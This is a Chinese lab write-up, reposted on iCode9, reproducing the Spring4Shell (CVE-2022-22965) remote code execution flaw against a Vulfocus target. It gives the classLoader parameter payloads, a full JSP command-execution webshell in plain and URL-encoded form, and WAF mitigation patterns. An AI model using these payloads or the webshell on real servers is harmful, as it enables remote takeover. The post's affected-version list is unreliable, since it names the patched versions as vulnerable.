ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2022-22965 Spring远程代码执行漏洞复现

2022-05-21 18:00:45  阅读:344  来源: 互联网

标签:pipeline shell Spring 22965 写入 漏洞 代码执行 class


一、漏洞概述

2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。   二、影响版本

1、JDK9+
2、Spring Framework

  • 5.3.18+
  • 5.2.20+

 

三、漏洞原理

通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

漏洞触发条件如下:

使用JDK9及以上版本的Spring MVC框架

Spring框架以及衍生的框架spring-beans-*.jar文件或者存在

CachedIntrospectionResults.class

————大佬链接:https://www.freebuf.com/vuls/326878.html

 

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

五、实验步骤

1.开启镜像环境

 

 

2.构造payload

class.module.classLoader.resources.context.parent.pipeline.first.pattern=rce_20220329 (写入shell内容)

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp(修改tomcat配置日志文件后缀jsp)

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT(写入shell在网站根目录)

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell(写入shell文件名称)

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(文件日期格式(实际构造为空值即可))

3.逐一发送构造的payload

 

 4.访问192.168.117.131:52410/shell.jsp,出现shell内容,写入成功

 

 5.将构造webshell,并解析

①写入根目录

(1)构造webshell
<%
if("w".equals(request.getParameter("pwd")))
{ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1)
{ out.println(new String(b)); }
}
%>

————但不知道为什么,这样编码后的页面显示全是"???"。是鄙人才疏学浅了,这里用大佬的构造方法(大佬链接:https://blog.csdn.net/weixin_45632448/article/details/124190382)

 

%{c2}i

if("w".equals(request.getParameter("pwd")))

{ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

while((a=in.read(b))!=-1)

{ out.println(new String(b)); }

} %{suffix}i

把下面的写入包中

suffix:%>//
c1:Runtime
c2:<%

 

(2)url编码webshell
if%28%22w%22.equals%28request.getParameter%28%22pwd%22%29%29%29%0A%0A%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29.getInputStream%28%29%3B%0A%0Aint%20a%20%3D%20-1%3B%0A%0Abyte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%0Awhile%28%28a%3Din.read%28b%29%29%21%3D-1%29%0A%0A%7B%20out.println%28new%20String%28b%29%29%3B%20%7D%0A%0A%7D%20%25%7Bsuffix%7Di

②构造GET请求的包

 

6.访问http://192.168.117.131:52410/shell.jsp?pwd=w&cmd=ls /tmp获取flag

 

 7.完结撒花

 

 六、修复方法

升级Spring Framework 版本
Spring Framework == 5.3.18 Spring Framework == 5.2.20
临时防御方案:
1、 WAF防御。
可以在WAF中添加以下规则对特殊输入的字符串进行过滤:
Class.* class.* *.class.* *Class.*
2、通过黑名单策略进行防护。
您可在受影响产品代码中搜索@InitBinder注解,判断方法体内是否有dataBinder.serDisallowerFields方法,若发现存在该方法,则在黑名单中添加如下过滤规则:
Class.* class.* *.class.* *Class.*

标签:pipeline,shell,Spring,22965,写入,漏洞,代码执行,class
来源: https://www.cnblogs.com/wavesky/p/16294694.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有